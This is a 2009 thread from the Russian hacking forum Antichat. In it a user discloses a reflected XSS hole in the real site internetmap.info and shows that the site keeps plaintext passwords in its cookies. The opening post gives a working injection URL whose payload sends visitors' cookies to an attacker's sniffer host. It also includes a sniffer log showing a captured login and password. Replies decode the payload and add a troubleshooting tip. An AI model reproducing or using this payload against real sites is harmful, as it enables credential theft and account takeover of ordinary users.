ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Перезагрузить страницу internetmap.info XSS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

internetmap.info XSS
  #1  
Старый 24.02.2009, 20:56
Аватар для Dimi4
Dimi4
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
Провел на форуме:
7617458

Репутация: 3965


Отправить сообщение для Dimi4 с помощью ICQ
По умолчанию internetmap.info XSS
internetmap.info XSS
Достаточно крупный проект. Пароли в куках там хранятся в чистом виде. При отправки на сниффер будет иметь вид:

Код:
Запрос с www.internetmap.info — 24.02.2009 16:35
	IP: **.**.**.** (whois)
QUERY: b=b; login=admin@mail.ru; password=Pass; b=b
REFERER: http://www.internetmap.info/cgi-bin/engine.cgi?a=%00%3Cimg%20src='javascript:img%20=%20new%20Image()%3b%20img.src%20=%20%22http://www*.com/s/s.gif?%22%2bdocument.cookie%3b'%3E&i=designers&f=works
AGENT: Opera/10.00 (Windows NT 5.1; U; en) Presto/2.2.0
Скрипт декодить URL, обрезает спецсимволы (; в том числе). Формируем иньекцию:
Код:

http://www.internetmap.info/cgi-bin/engine.cgi?a=%00%3Cimg%20src='javascript:img%20=%20new%20Image()%3b%20img.src%20=%20%22http://снифер/s/s.gif?%22%2bdocument.cookie%3b'%3E&i=designers&f=works
© Dimi4, 2009
Последний раз редактировалось Dimi4; 24.02.2009 в 21:05..
 
Ответить с цитированием

  #2  
Старый 26.02.2009, 22:23
Аватар для _==wolf==_
_==wolf==_
Участник форума
Регистрация: 29.05.2008
Сообщений: 181
Провел на форуме:
979048

Репутация: 101
Отправить сообщение для _==wolf==_ с помощью ICQ
По умолчанию
хтмл код полученный в результате прохожа по этому урл

Код:
a=_<img src='javascript:img = new Image()%3  b img.src = "http://sniff.com/sniff.jpg?"+document.cookie;'>
помоему здесь что-то не так хДДДД
 
Ответить с цитированием

  #3  
Старый 26.02.2009, 22:59
Аватар для Dimi4
Dimi4
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
Провел на форуме:
7617458

Репутация: 3965


Отправить сообщение для Dimi4 с помощью ICQ
По умолчанию
пробелы, которые форум добавил - поудаляй.
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Xss: Cегодня и вчера. Опрос Constantine Болталка 48 07.12.2009 08:57
IE XSS Kit .Slip Чаты 22 23.10.2006 06:45
Xss для новичков Micr0b Уязвимости 0 04.06.2006 18:25
Xss Расширенный межсайтовый скриптинг SNIFF Чужие Статьи 0 24.11.2005 08:08
Cross Site Scripting FAQ k00p3r Уязвимости 6 12.06.2005 16:23



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ